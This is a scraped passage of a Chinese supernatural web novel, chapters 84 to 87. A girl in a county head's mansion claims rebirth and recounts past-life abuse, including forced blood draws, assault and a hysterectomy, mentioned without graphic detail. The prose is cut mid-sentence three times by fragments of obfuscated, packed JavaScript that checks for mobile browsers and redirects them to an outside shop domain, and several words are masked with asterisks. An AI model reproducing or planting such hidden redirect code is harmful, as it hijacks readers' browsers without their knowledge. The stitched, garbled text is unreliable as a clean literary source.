RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460563|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花园看花匠修盆景就走了。 风柔望着自己新认的那个干妈走得那么干脆,根本不带管她的,只好如芒在背地坐在原处,干巴巴地朝我们假笑:“小萦、流苏,你们怎么也来了……好巧。” “不巧,冤家路窄。”我心平气和地回道。 风柔看我对她的态度不如从前,委屈地装可怜: “小萦,你还在怪我吗,事情都过去这么久了……你原谅我好不好?小萦,我不会霸占他太久的,我会把他还给你的…… 我们能不能不要这样,不要因为一个男人,就反目成仇…… 小萦,我们可是从小一起长大的好姐妹啊!” 江墨川是没和她说过,我已经恢复记忆的事吗? 旁观的郑警官一头雾水地看了看风柔,又不自在地拧眉瞧瞧我。 可能真以为我是那种会为了一个男人和好姐妹撕破脸的蠢蛋。 我冷哼一声,直言不讳: “送你了,就是你的,我不要了,也别再说什么还给我,我觉得挺脏挺恶心的。 我为什么不给你好脸,你不会忘记十五那晚,你和江墨川怎么对我的了吧? 逼着我交出龙鳞,我不给,你们就把我锁在木箱子里丢进黄河,你们想淹死我啊,你们想谋财害命。 你在岸上又是怎么和江墨川那个渣男说的?你说我性子不好,应该多磨磨,不然以后和江墨川在一起,也会总闹不愉快。 把我封在箱子里丢进黄河,就是你用来磨我性子的方式。你知道我最怕被关在狭小空间里,你还怂恿江墨川不管我。 风柔,我现在才发现,你原来不是单纯的羡慕我,嫉妒我,你是想取代我,成为我啊。” “我、我没有……” 风柔立马委屈地狡辩: “那晚我一直在劝墨川不要那样对你,我想救你,但我这身体你也知道…… 墨川也是太关心我了才会做出那种出格的事,你那会子是不是太害怕了,所以才、出现了幻觉?” 我没好气地讽刺道: “那我这幻觉也太真实了,我还听到,是你把化鳞水给的老张头,这才害我被泼一身,鳞片掉了一地…… 堂姐,你说你在我的幻觉中,怎么那么坏呢?” 她脸一青,瞬间丢了魂。 旁听这一切的郑警官也终于捋清了前因后果,起身从容打断:“小萦,流苏,我带你们先上三楼安顿。” 流苏乖乖点头,挽着我的胳膊和我一起跟上带路的郑警官。 只留风柔一人在客厅咬牙切齿的阴狠瞪着流苏背影。 郑警官对于县长家尤为熟悉,熟悉到哪段楼梯扶手的水晶装饰物可能会划到手都会提前提醒我们。 不过,刚迈上二楼,我挂在腰间的藏息铃就控制不住的铛铛轻响起来—— 胡玉衡颜如玉他们的声音在我一人耳边聒噪响起。 “好强的怨气!” “这套房子里,至少曾出现过十只鬼魂!” “我对县长家的这位千金于玉晚越来越好奇了,小萦,找机会让我们见上一面吧。” “我也想知道,究竟是什么样的女孩竟能引来这么多怨气深重的厉鬼。” “当务之急,还是得先和杨明昊他们会合,他们比咱们来得早,肯定也比咱们更了解于家的情况。” 郑警官敏锐地用余光轻扫一眼我腰间的藏息铃,捕捉到异常,却没有说话。 上楼的脚步声噔噔噔慢节奏回荡在空旷别墅内,我试探着问:“于小姐的房间,在二楼?” 郑警官嗯了声, “县长及夫人的卧室就在进走道西头第一间房,于小姐卧室在走廊尽头。 对门是那间房是照顾于小姐的阿姨再住,王瘸子父女俩在四楼,杨道长和咱们住一层楼。” 流苏望着从五楼吊顶上如雨珠般倾泻落下的几十米长错落有致、串串交叉的清透水晶灯,忍不住感叹道:“县长家好大,这串吊灯,就得好多钱吧?” 郑警官低声道:“这是从京城运过来的上世纪老古董,放到现在估价,至少千万起步。” 第85章 她的肚子里,是空的! 一个普通小县城的县长家里吊灯千万起步……这多少有点颠覆我认知了。 “这套房子房主并不是于县长,这串吊灯也不属于于县长,这是二十年前京城一位拍卖行老板送给于县长前老丈人的。 这房子,是于县长前妻的。灯也是他前老丈人送来给前妻压惊的。 据说,二十年前,这里还不是什么家属院,是从京城回来的一位房地产大亨为了带动老家经济,特意在这边盖的一处仿京城豪宅的高档别墅区。 于县长的前夫人看中了这边的房子,就全款买了一套。 但住进来以后,前夫人总是会在夜深人静的时候看见别墅里有红衣女人走动,久而久之,前夫人就被吓病了。 前夫人本想舍弃这套房子,可当时有位很有名的风水先生却说,这套房建在龙口,是套绝佳的升官发财房。 于县长当时还不是县长,甚至只是机关的一位普通小科员,搬进来以后的确三年内接连高升。 为了丈夫的前程,前夫人只好强忍不适继续在这套房子里住下去。 前夫人父亲得知此事后,为了给女儿压惊,就把这串价值连城的古董吊灯送给了女儿。 他说灯是属阳,可驱邪镇宅。后来这灯安上,家里果然没有再闹鬼了。” 我们跟着郑警官来到两扇高雅的古风雕兰花红木大门前,看着郑警官从口袋里掏出钥匙,熟练开门,我轻声追问:“那于县长的前夫人,后来怎样了?是离异,还是过世?” 郑警官按下鎏金门把手,推开两扇红木房门,对房内布局无比熟悉地开灯,插香薰,拉窗帘开窗通风。 “她过世了,年纪轻轻就得了病,肿瘤。” 我扫视了一圈屋内的布置,白胚花瓶,兰花古画,檀香香薰,屋子里装饰布局都比较偏优雅古典风。 能看出来以前是位喜欢研究古文化的女生在住。 “你和流苏暂时住在这间屋,对面就是佣人房,有什么缺的短的尽管和人要,你们是我带过来的,她们不敢为难你们。” 郑警官双手搭在窗台上,放眼看向外面的花花草草,平静叮嘱: “我就住在隔壁的客房,和你们一墙之隔,有事随时联系我。” “好。”我点头答应,等不及地又问:“于小姐什么时候有时间,可否方便让我们见上一面?” 郑警官想了下,说:“吃完午饭吧。” 安排完,郑警官把房间钥匙从自己随身的钥匙串上取下来,放在桌子上,“你们先休息,我去隔壁躺一会。” 流苏拿起床上可爱的小熊娃娃抱在怀里,“郑姐你忙,我和二姐也喘口气。” “嗯。” 郑警官走时,还贴心地顺手给我们带上了房门。 我在阳台上找个位置坐下:“郑姐,又是怎么出事的?我还是第一次见到,变成这样了,还能像个正常人一样,在阳界自由行走。” “是执念太深。” 帝曦出现在我身后,不疾不徐道: “当一个人死时心中蕴藏着极大的执念,就会造成灵魂脱体的那一刻,她会自动隐藏掉关于自己如何死亡的所有记忆。 就像活人在遭到强烈刺激后会发生选择性失忆的情况一样,由于执念不是怨气,所以她现在算鬼,却又不是阳界不容的厉鬼。 她对阳间人没有恶念,相反她的执念力量偏善,所以阴间对她网开一面,阴差暂时没管她,阳界的阳气目前也不会灼伤她。 等她做完自己想做的事,成功消除了心中执念,她就会恢复记忆,老实前往冥界去投胎。” “执念……”我早已习惯了帝曦这样悄无声息地突然出现,胳膊支在小圆桌上托着下巴问:“郑棠姐的执念就是弄清那些厉鬼为什么缠着于小姐吗?” 帝曦走到我对面位置坐下,没有回答我,拿起桌上的茶壶给自己倒了杯热茶。 流苏抱着小熊娃娃倏地从房间窗户里伸出脑袋,好奇道: “咦,姐夫,我还没来得及给茶壶加水呢!你从哪弄来的热茶?” 帝曦拿起白瓷兰花茶盏品了一口茶香,“法术是个好东西,可惜你们没有。” 流苏:“……” 我歪头放眼看向不远处的花园,有几个工人正在给绿植浇水,修剪塑形。 帝曦这家伙,一如既往的见谁都呛。 村里的大黄狗从他面前经过都得被他怼两句。 我们在房间休息了不到一个小时,杨大哥和杨泽安就火急火燎来找我们会合商量捉鬼方案了。 “那些厉鬼总是扮成于家养女的样子来吓唬于小姐……有没有可能,他们是在给养女报仇?” 杨泽安猜测道: “结合你说的重生来看,不管有没有前世,至少所谓的今生、这一世,于小姐的确是带着想要报复养女的本意,与养女相处。 如果养女是无辜的……养女的死,当初就不一定是意外了。 证据,可以**,想杀一个人,是完全可以编造出一个冠冕堂皇的理由的。 毕竟,人**,就死无对证,再加上重生这种事本来就离谱,无论说它是真的还是假的,都不可能找到实打实的证据证明…… 就像,我和我哥之前处理过一件类似的事,对方家人找到我们时说,他们家儿媳妇总被大儿媳的冤魂附身,一附身就搅得全家鸡犬不宁,还拿着擀面杖追着公婆打。 我们去检查了一遍才发现,附身根本就是假的,是那家老人无德,总是欺负苛待小儿媳,大儿媳就是被他们逼死的。 小儿媳被欺负压迫得没法子了,实在活不下去了,才假装被大嫂冤魂附身,趁机教训自己的公婆。 于家闹鬼的事是真的,于玉晚没有撒谎,但为什么闹鬼,我们始终没能查出个所以然。 被抓的小鬼们又都被打得半死不活,现在还问不出话。 凭我们如今的主观判断……如果那些厉鬼扮成养女的样子是在给养女报仇,那连于家人为什么对养女的态度那么割裂都解释得通了。 他们养了养女这么多年,肯定最了解养女的心性,他们也不相信养女会做出那些事,所以才会一边怨养女,一边心疼养女。” 杨泽安说完,有点小期待的立马去征求帝曦看法:“龙王大人,你觉得呢?” 帝曦慵懒抬眸,瞟他一眼,淡淡道:“你就研究出来个这?” 杨泽安瞬间语塞。 杨大哥拿桃木梳打理着自己的拂尘**,慢吞吞道: “我与泽安的想法,不太一致,于小姐我见过,面相不是大恶之人,而且通过面相看,她两年前曾遭遇过一场生死大劫。如果能看一看她的手相就好了。” 流苏不解道:“你们来了这么久,连于小姐的手相都没看过啊!” 杨泽安无奈摊手: “我们是男人哎,于小姐什么身份,县长家千金! 我们来了一个星期,就见过于小姐两面,两面还都是于小姐的哥哥于平安在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462353|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁陪同。 上回见面我哥提出想看于小姐手相,结果于平安一再阻拦,说什么他妹妹手受伤了还没好,现在看怕看不准。 真是和他们外行人讲不明白,看手相又不是看整只手!” 杨大哥将希望寄托在我和流苏身上: “等会儿你们去见于小姐的时候,能不能拍张她手掌的照片给我看看,我总觉得,于小姐身上有很多秘密。” 我淡定应下:“没问题!” 不过,我转头看旁边镇定品茶的帝曦…… “帝曦,你是不是知道些什么啊?” 帝曦这狗男人故作高深道: “你们要珍惜这些难得的磨炼机会,学会享受一步步靠近真相的快感。 本王若是把答案都告诉你们了,你们下次遇见难题只会继续求助本王,永远也学不会成长。” 我:“……成,那我开始享受快感了,反正不管我在这浪费多少时间,你都得陪着我。” 帝曦挑眉,最近总算肯做人了,“嗯,本王等你,本王对你的能力还是很有信心的。” 他最近不损我了,我都有点不习惯了。 午饭是家里佣人直接送进卧室的,我和流苏简单吃完,就跟着郑姐一起去了二楼走廊尽头那个房间—— 房间里的陈设很简单,墙上挂着于小姐自己画的玫瑰与大海明月。 整个卧室的装修风格和其他卧室都不一样……有些过于空旷了。 屋子里只有一张大公主床,两只床头柜,一排衣柜。 连张书桌都没有,手机电脑等电子设备更是一样都没看见。 房间里安静空旷到让人心神不宁,阳光洒在玻璃窗上,透窗落进半个屋子。 空气里漂浮的尘粒在阳光中翻飞起舞,明明是个县长居住的豪宅,可这间屋子与房门外的世界,竟是两个画风,天壤之别。 屋里还弥漫着一股医院重症病房里才会闻见的药水、腐朽味。 穿着白裙子,扎着丸子头的女孩还坐在靠窗位置上,支个画板,手里拿着画笔哗哗作画。 郑警官走过去温柔将手搭在她的双肩上,轻声问:“今天感觉怎么样?” 面色苍白的女孩停下手上作画的动作,嘴角机械地勾起一抹僵笑: “大姐姐,我还好,你不用担心我…… 大姐姐,他们说今晚就能让那只鬼灰飞烟灭,我以后再也不会被那只鬼欺负了。 大姐姐,我给自己报仇了……” 女孩嗓音喑哑,盯着画板的双目黯然无光。 郑警官揉了揉女孩肩膀,温和向她介绍:“给你带了两个新姐姐过来,陪你一起玩,好不好?” 女孩闻言,沉寂如死水般的眸子幽幽抬起,扭头看向我和流苏。 半晌,反应极慢的咧嘴朝我们笑笑:“好啊,这两位姐姐一看,就是好人……不会欺负晚晚。” 我将视线移至她面前的画板上,画板夹着的那幅未完成的画—— 画的是一个诡异的女子腹部特写,腹腔被刨开,血肉里长出一簇簇带刺的妖艳红玫瑰…… 我上前两步,想将画看得更仔细些。 但,刚靠近女孩,我的后背就剧烈一痛…… 这感觉……是我的龙鳞! 我的第二片龙鳞在她手上?! 然而不等我多想,流苏就一把抓过我的胳膊,又把我扯了回去。 害怕地扑进我怀里,颤抖着携哭腔小声说: “二姐……她的肚子里,是空的!” 第86章 哥哥最疼晚晚 肚子里、是空的。 肚子…… 流苏惊恐至极的像只应激小猫般趴在我耳边声音细若蚊蝇的说:“小腹……子宫,空的……” “不见了。” 子宫,空的! 我陡然想起初见郑警官时,郑警官说的那句: “她回家三年,被抽血,被**,甚至被、侵犯,还永久失去了生育能力……” 子宫是空的,那可不就是、永久失去了生育能力吗? 郑警官瞥见流苏这个反应,敏锐猜测到流苏发现了什么。 直起脊背,正欲开口询问…… 我拍拍流苏后背,赶忙做了个不要问的手势。 郑警官怔住,会意地点点头,继续装作若无其事地陪伴于玉晚。 我正抚着流苏的脊背无声安抚流苏的情绪,只存在别人口述中的那个县长家大公子于平安忽然急吼吼地冲进来。 像是唯恐我们趁他不备做什么伤害他妹妹的事,没好气且不礼貌地一把拽过郑警官,脸色难看地训斥: “你又来我妹妹这打扰我妹妹画画!还带了两个身份不明来历不清的外人!不知道晚晚现在需要静养吗?” 说着,于平安紧张地转身蹲到于玉晚腿边,放低姿态,柔下嗓音温和问于小姐: “晚晚,她们没有和你说什么怪话吧?哥哥在呢,哥哥保护晚晚…… 晚晚听话,玉澜、那只厉鬼,今晚我们就能让她彻底消失,以后再也不会有脏东西来吓唬你了。 晚晚,哥哥不会骗你啊,哥哥最疼晚晚了。” 郑警官冷脸反问:“你到底是怕我们打扰到小晚,刺激到小晚,还是怕我们在小晚口中,问出了什么事?” 于平安一僵,理直气壮地朝郑警官发怒: “郑棠,这是我家,你一个外人总往我家跑,能不能有点边界感!我妹妹,用不着你一个外人操心!” 于小姐听着于平安的叫嚣言语,僵着脖子扭头,晦暗目光直勾勾盯着于平安,讷讷问: “对啊哥哥,为什么每次我和大姐姐见完面,你都会问我,大姐姐有没有和我说什么怪话,什么话,是怪话。大姐姐为什么会和我说怪话?” 于平安哽住,转而耐心向于小姐解释: “晚晚,哥哥只是害怕你被有心之人误导、怕你又控制不住瞎想。 你现在情绪不稳定,精神受了刺激,已经分不清什么是幻觉,什么是现实了。 晚晚,我是你亲哥啊,我不疼你,谁疼你啊。” “你是我亲哥……” 于小姐木讷地哽了哽,眼睛里依旧灰蒙蒙的,眸色黯淡,眸底沉寂着一潭死水: “是啊,我的亲哥,怎么会不疼我呢。 明明,我才是和你们有血缘关系的人啊。 明明,小时候哥哥最疼我。” 于平安闻言,却下意识躲开女孩直视他的灰败目光,低声重复:“对,哥哥最疼晚晚……” 于小姐愣了一会子,忽然拿起窗台边的台历,翻看今天的时间:“农历二月二十五了……哥!” 猛地抓住于平安胳膊,于小姐着急提醒: “今晚妈妈会和张太太一起打麻将,送张太太离开的时候,千万别走花园铺着鹅卵石的那条路,张太太会摔倒的! 张太太做了两年试管好不容易才怀上这一胎,要是摔了,张太太肯定会……” 可于小姐还没说完,于平安就着急捂住于小姐的嘴,神魂不安地暗示于小姐: “晚晚,还有外人在……哥记住了,哥不会让妈带张太太走那条路。” 于小姐这才放心点头,转回身,继续拿画笔作画。 于平安站起来,迫不及待地想赶我们走: “看也看过了,别在这里干扰我妹妹了,你们先走吧!” 郑警官挑眉硬气道: “于平安,这个家,我比你有资格住!轮不到你来赶我走。” “你还想怎么样!” 于平安面红耳赤的要发火,但岂料一句话说完,于平安的身体突然僵在了原地,半张着嘴,双眼直视前方,呼吸正常,但样子像极了被人隔空点穴,周围一切照常,只是他身上的时光流逝恍若被定格在了上一刻。 郑警官惊讶蹙眉,直到看见我和苏苏身后冒出几道浑身泛白光的动物仙身影,这才恍然大悟。 “小晚到底怎么了?你们能看出问题所在吗?”郑警官问。 于小姐停住手上动作,扭头看过来,脸上终于有了不一样的表情: “哇,狐狸,还有黄鼠狼,大**蛇……你们是东北的出马仙?” 我放开流苏,拉住流苏的手低低回应:“我们是本地人,但这些有灵性的动物,的确是仙家。” 走近于小姐几步,我问于小姐:“能不能,回答我几个问题?” 于小姐撂下画笔,面向我而坐,点头:“可以,姐姐你问。” “你,是真的重生了吗?”我开门见山道。 于小姐重重点头: “我也曾怀疑那只是个漫长且真实的梦,可我清楚记得前世这两年内发生的所有事,有些大事,我连具体日期都记得很清楚! 我明白,你们可能和大姐姐一样,怀疑我是精神出了问题,或是撒了谎…… 但,我的直觉告诉我那不是梦,不是幻觉,你们信我,一定要信我!” 我继续问:“那你有没有和你父母还有哥哥说过重生的事?” 于小姐轻轻道: “早前没有,于玉澜的鬼魂出现后,我才把这些事告诉爸妈和哥哥。 只是我爸妈和哥哥坚持以为,我是被吓糊涂了,那些都是幻觉,还说我是精神状况出了问题……” 我有点迷茫地扭头求助胡玉衡。 大白狐狸晃着七条蓬松雪白的大尾巴,眯了眯狭长上扬的狐狸眼,淡定口吐人言: “能不能把你前世的经历再复述一遍? 让我们判断一下,你脑海中所谓的前世经历,究竟是否真的存在。” 于小姐不假思索地点头: “前世,我是上大一的时候,一次大学组织体检,需要抽血验血型,结果,阴差阳错的让我爸妈找到了我。 我回到这个家后,原以为能和亲人团聚,过上梦寐以求的幸福生活,谁知,我回来第一天就得知我爸妈还有个养女。 养女只比我早出生一天,我妈说,当初我和爸妈走散后,我爸妈找了我很久都没有找到,为了抚慰失去我的痛苦,我爸妈就从孤儿院接回了一个眉眼和我有几分相像的女孩,让她顶替我的位置,陪伴在爸妈身边。 最初,我对这个养女并没有一丝敌意,只当做是自己多了个姐姐。 可后来,我却发现,我爸妈这个养女很不喜欢我,总是明面和我好,背地里拉着爸妈说我坏话,还往我身上泼脏水。 而爸妈,也没有我想象中的那么喜欢我。 他们嫌我是在穷乡僻壤的孤儿院里长大的,一身陋**,不懂豪门礼仪。 嫌我学习成绩不好,跟不上贵族学校的教学进度给他们丢脸,嫌我不会插花、泡茶、制香…… 后来,爸妈怕我在外界出丑,让他们难堪,就只带那个养女去参加晚宴与聚会。 爸妈还在养女的唆使下,给我定下了一个目标,说等我什么时候钢琴考到十级,大学拿到系里一等奖学金了,才会对外界公布我的身份。 他们说,一无是处平平无奇的女孩,不配做他们的女儿。 但我呢,本就不是什么豪门富养长大的千金大小姐,我连大学的学费都是靠在城里饭店做暑假工端盘子挣来的。 我哪里有机会,去熟悉音乐,接触钢琴。 就算是于玉澜,当初学钢琴也是花了六年时间才考到的十级。 我一个连钢琴黑白键都看不懂,五线谱都看不明白的人,想要在短时间内考个钢琴十级,简直是天方夜谭。 可我还是想努力一下,我想向爸妈证明,我不是废物,并非一无是处。 那段时间,我夜以继日地学乐理,学贵族学院的经济学。 练琴练到双手十指关节肿胀,我以为只要我努力完成爸妈布置的任务,爸妈就会对我改观,像疼养女那样疼我。 可我错了,第二年的三月,于玉澜突然住院,亟需输血,而我,血型刚好与她相配,都是AB型,我就被爸妈强行带去医院,抽血,给她输血。 不久,我得知于玉澜患上了一种怪病,医学上属于特殊性贫血,简单来说就是她自己的身体没有造血能力,需要定期给她输血才能维持她体内所有器官正常运作…… 那次后,她好像掌握了拿捏我的必杀技,她无数次冤枉我欺负她,然后自己从楼上摔下来,磕破膝盖,摔破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462354|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋,她告诉我爸妈,是我把她推下楼梯的,是我想杀她。 我爸妈听完,根本不听我的解释就把我拽去医院给她输血。 我妈一气之下,还发话让我每个月都给她输两次血,少一次,就让我去跪祠堂。 那段时间,算上她作妖冤枉我的次数,我每个月至少要被拎去医院五次。 我爸妈倒是很‘公正’,每回只要我‘欺负’她,他们都会不论对错地直接拉我去医院抽血。 哪怕她不需要血,我爸妈也会让医生先抽,然后放医院储藏着,给于玉澜备用。 后来,我发现于玉澜在打着爸爸名义收**赂,**政府拨的惠民政策钱款。 我去和爸妈说,可却没有一个人相信我,收**赂的罪名后来甚至被于玉澜设计安到了我头上。” 我越听心中越压抑,努力深吸一口气, “难怪,这些经历让你迟迟无法释怀……就算是梦,是幻觉,这些经历也太恐怖、太痛苦了。” 流苏小声询问:“那你的、肚子……那东西……” 于小姐低头看了眼自己的小腹,苍凉笑笑: “我爸以为是我收**赂还倒打一耙污蔑于玉澜后,一气之下就将我赶出了家门,我无家可归只能露宿街头。 谁知,于玉澜还是不肯放过我,她雇人,掳走我……把我丢进废弃养猪场,欺辱我。 我家人找到我的时候,已经晚了。” 她说着,低头紧绷着身体,委屈痛哭落泪: “他们把我接回来后,倒是安慰了我一段时间,没再像之前那样,苛刻要求我了…… 可不久,我就被查出怀孕了。 我不肯要这个脏东西,就求他们把我送去医院,帮我把孩子打了。 我爸妈答应了…… 可手术结束后,我爸妈却告诉我,由于我体质不好,打胎伤身,医生们在给我做手术的时候,我突然大出血止不住。 为了保我的命,他们只能拿掉我的……子宫。” “后来呢,你又是怎么、重生的?”我问。 于小姐抹了把脸上的泪痕,说: “后来我查出那天**我的人是受于玉澜指使的,我好不容易、才找到证据。 可当我拿着证据去我爸书房找我爸,求他给我做主时,我却在我爸书房外,听见了一个让我难以接受的真相—— 原来,我出事后,我哥他们就立即派人去查掳走我那几个流氓的底细了。 还没怎么用大刑,他们就全交代了。 我的爸爸、妈妈、哥哥,他们全部都早就知道实情了。 可他们、最担心的,却是怎么隐瞒我这件事。 我哥还说,如果被我知道那些流氓是于玉澜找来的,我肯定会闹得家里鸡犬不宁,容不下于玉澜。 我爸为了能让于玉澜在家里安生地待下去,甚至想把我送去疗养院关起来。 从那以后,我就再也不指望自己的爸妈能为我讨个公道了。 为了让他们也像我一样痛苦,我在私下收集了于玉澜打着爸爸名义****,独吞政府拨款,以次充好修大桥。 还有转移哥哥公司项目款,借哥哥名义在外放**的所有证据。 然后在于玉澜生日那天,那证据全都放了出去。 我爸妈看见证据后终于不再一味溺爱于玉澜了,毕竟那些证据一旦落入别人手里,被**部门看见,我们全家都得完蛋。 没有人给我正名,我就自己为自己洗刷冤情。 我从保姆手里高价买来了于玉澜诬陷我、殴打我的视频,我爸妈和哥哥看完后,悔不当初。 他们哭着向我道歉,说补偿我,可我已经没有什么遗憾了,也不再期待他们的忏悔、迟来的关怀了。 接连的打击已令我心态崩了,精神崩溃,我跑出爸妈给于玉澜过生日的饭店,一路跑到黄河大桥上,在他们的无尽悔恨中,跳河自尽了。 我上一世,是被淹死在黄河里的。 再次醒来后,我就回到了两年前。” “你是说,你的身体极其虚弱,你没有子、生育能力,不是先天的,是你父母逼着你给于玉澜抽血,是你在流产手术中,医生为给你保命,摘除的?” 胡玉衡察觉到一丝异常,与颜如玉相视一眼,继续问: “重生后,你的身体,恢复健康了吗?” 第87章 根本没有什么重生 于玉晚笑笑: “我是重生到了两年前,还没有被抽血,被手术摘取……我的身体当然是健康的了。” “你确定吗?”颜如玉冷声反问。 于玉晚点头: “嗯,我重生后特意去医院检查过,我的身体很健康。 而且我家每个月都有体检日,大姐姐知道的。 这一年来,我每次体检的报告单上都显示身体各项指标正常。 只是我身子骨与旁人比,有点弱,所以会比其他人更容易头疼脑热,感冒发烧。” 郑警官帮忙作证: “这一点我可以证明,我悄悄去医院调取过小晚的体检报告存档单,上面的确显示各项指标正常。” 胡玉衡他们能问出这个问题……就证明,体检报告单正常,才不正常。 大**高冷地吐了吐蛇信子:“你继续说下去,说重生后的事。” 于玉晚嗯了声,耐心讲述: “重生后我本来胸口憋着一股怨气,不想再和于家人有任何牵连的。 大学开学体检,我故意没参加。 但没几天我室友骑车出去玩的时候,不小心剐蹭到了一辆豪车。 我陪我室友去向豪车主人道歉,才发现豪车主人是我哥。 这辈子我和我哥第一次见面,我哥竟没有嫌弃我是个乡巴佬,还热心肠地带我和我室友去喝咖啡,大度地原谅了我室友,不让我室友赔钱。 分开时,我哥突然和我说,他看见我,就像看见了自己小时候走丢的那个妹妹。 我万万没想到,时隔这么多年,我哥哥竟能一眼认出我,没有忘掉我。 和前世哥哥初次见我时的反应,完全不一样。 上辈子我第一天跟着父母回家,就被哥哥各种嫌弃,哥哥怕我的出现分走爸妈对于玉澜的爱,还多次跟着于玉澜一起告我黑状,往我身上泼脏水…… 明明小时候,哥哥最疼我。 可上辈子的哥哥,就像入了魔似的,排斥孤立我这个亲妹妹,去偏帮偏爱那个养妹。 那天,我哥还和我说,他总在梦中梦见自己的妹妹过得很不好,梦见自己没有珍惜妹妹,弄丢妹妹,还跟着别人欺负妹妹,他很后悔。 他说他发过誓,只要这辈子还能找到自己的妹妹,自己一定倾尽所能的护她,爱她,尽力弥补她。 我听完哥哥的话,忽然,很想再试试。 忽然,觉得心中很是不甘。 我想,如果我这辈子不再以上辈子那样狼狈的形象出现在父母面前,父母会不会也可以慢慢接受我,喜欢我。 凭什么,我要放任于玉澜抢走我的爸妈,我的家人。 那一切,本该是我应得的…… 我改变了上辈子与哥哥初见,被哥哥嫌弃的命运,如果我再努把力,是不是也能改变爸妈…… 最终,我选择为自己再争取一回。 后来,我作为学院优秀学生代表,与前去指导工作的爸爸见面。 凭借着上一世在于家学习的礼仪、知识,我成功把自己塑造成一个来自贫穷乡村却奋发图强、博学多识,口才极佳的阳光积极女大学生形象。 那天,是我第一次在父亲的眼中,看见了欣赏的光芒。 父亲很喜欢我对学院发展史的讲解,视察完工作,还特意带我去学校旁边的小饭馆吃了顿饭。 也是在吃饭过程中,我故意和他说,他长得像我爸爸,和他提及了我的身世,一步一步引导他怀疑我的身世,确定我的身份。 爸爸再次把我带回这个家,这一世,果然一切都不一样了,妈妈也很欣赏我,总夸我优秀。 爸爸每晚都会把我找去书房,亲自指导我的功课,询问我走丢那些年过的都是什么生活。 这个家,终于让我感受到了几分温暖。 而我也成功凭借前世的记忆,顺利躲过于玉澜一次又一次的陷害。 在于玉澜又一次以我推她下楼害她受伤,哭着要求爸**我给她输血的那天,我把提前顺利收集到的证据交给了爸妈。 爸妈看完,对她很失望,爸爸失控扇了她一巴掌。 谁知道,她竟然气性那么大,转身就**了……” 说完,于玉晚着急摇头向仙家们认真恳求: “你们相信我,她的死真的不是我精心策划的! 我也没想到上辈子那么自私自利的她,这辈子会因为爸爸的一个巴掌**…… 我只是,在自保而已!” 胡玉衡呼吸微沉:“我们相信你。那你,亲眼见到于玉澜死亡了吗?” 于玉晚摇头: “那天的医院很乱,我没有见到现场,我哥怕我看了做噩梦,就捂住了我的眼睛。 但我听见楼下有医生护士在大喊有人**了,听见楼下的医生着急跑上来和我爸说,救不了,脑子都摔碎了…… 后来,由于她是**死的,尸体受损严重,我爸怕引起外界非议,就封锁了消息,也没给她开追悼会。 医院当天下午开完死亡证明,我爸就让人拿着证明把她的尸体送去火葬场火化了。” 没有亲眼所见……那是不是可以大胆猜测,没见到,就是没死? 郑警官说:“派出所那边的确给于玉澜销了户,于玉澜死的事外界不知道,咱们系统内部是有过风声。” 胡玉衡问完,沉默片刻,提醒我:“小萦,上杨明昊!” 我明白点头,赶紧掏出手机给杨泽安打了个视频电话。 杨泽安与杨大哥那头很快就接通了。 我走近于玉晚,“于小姐,能不能给我们看看你的手相?” 于玉晚乖乖点头,大方地把左右手伸出来。 我拿着手机摄像头对准于玉晚的一双手,保证让杨大哥看得清楚。 视频另一头的杨大哥盯着于玉晚的掌纹,眉头越锁越紧。 半晌,杨大哥突然问:“于小姐,敢问今载芳龄几何?” 于玉晚道:“我今年二十。” 杨大哥呛了下,当即反驳:“不,你今年二十四岁了。” 二十四…… 于玉晚慌乱凑近我的手机:“怎么可能,我今年明明才刚满二十!我还是大学生呢!” 杨大哥语气笃定地说: “你的掌纹上蕴藏了你的人生信息,你的人生信息上标注着,你二十一岁因病休学,本该二十二岁毕业,但你却没有拿到毕业证。” “二十一岁因病休学……” 于玉晚收回自己的双手惊恐喃喃: “上一世,我的确是二十一岁因病休学……可我已经重生了,我改变了自己的命运!” 杨大哥接着道: “你是不是三天前,被刀划伤了右腿? 一个月前,你出门险些被一辆车迎面撞上,那辆车是白色的,车牌号后四位是9555,当时你身边还有个男人,你们是在西边的滨海路被那辆白车撞上的。 半年前,你在你房间养了两盆花,分别是茉莉、铁线莲。 铁线莲开了三朵,茉莉被太阳晒**。对吗?” 于玉晚意外不已地深呼吸,连连点头: “对!都对上了。三天前我的确不小心用刮眉刀划伤了右腿内侧…… 一个月前,我和家里保镖出门买东西,路过滨海路时,一辆白车闯红灯差点撞到我,那辆车的车牌号确实是9555,我当时,还觉得很好记来着。 去年,我的确养**一盆茉莉,那盆铁线莲,也的确只开了三朵。” 果然,杨大哥看手相还是这么权威。 “可这些,都是你二十四岁的人生经历。 而且你人生经历还很离奇,你的亲情线断断续续的。 如果我看得没错的话,你四岁和父母分离,十九岁与父母重逢。 但十九岁到二十二岁这几年,你和你父母并不亲。 二十三,二十四岁这两年,你的父母又很疼爱你,你的亲情线,格外清晰。 但,用不了多久……你和你父母,就会老死不相见。” 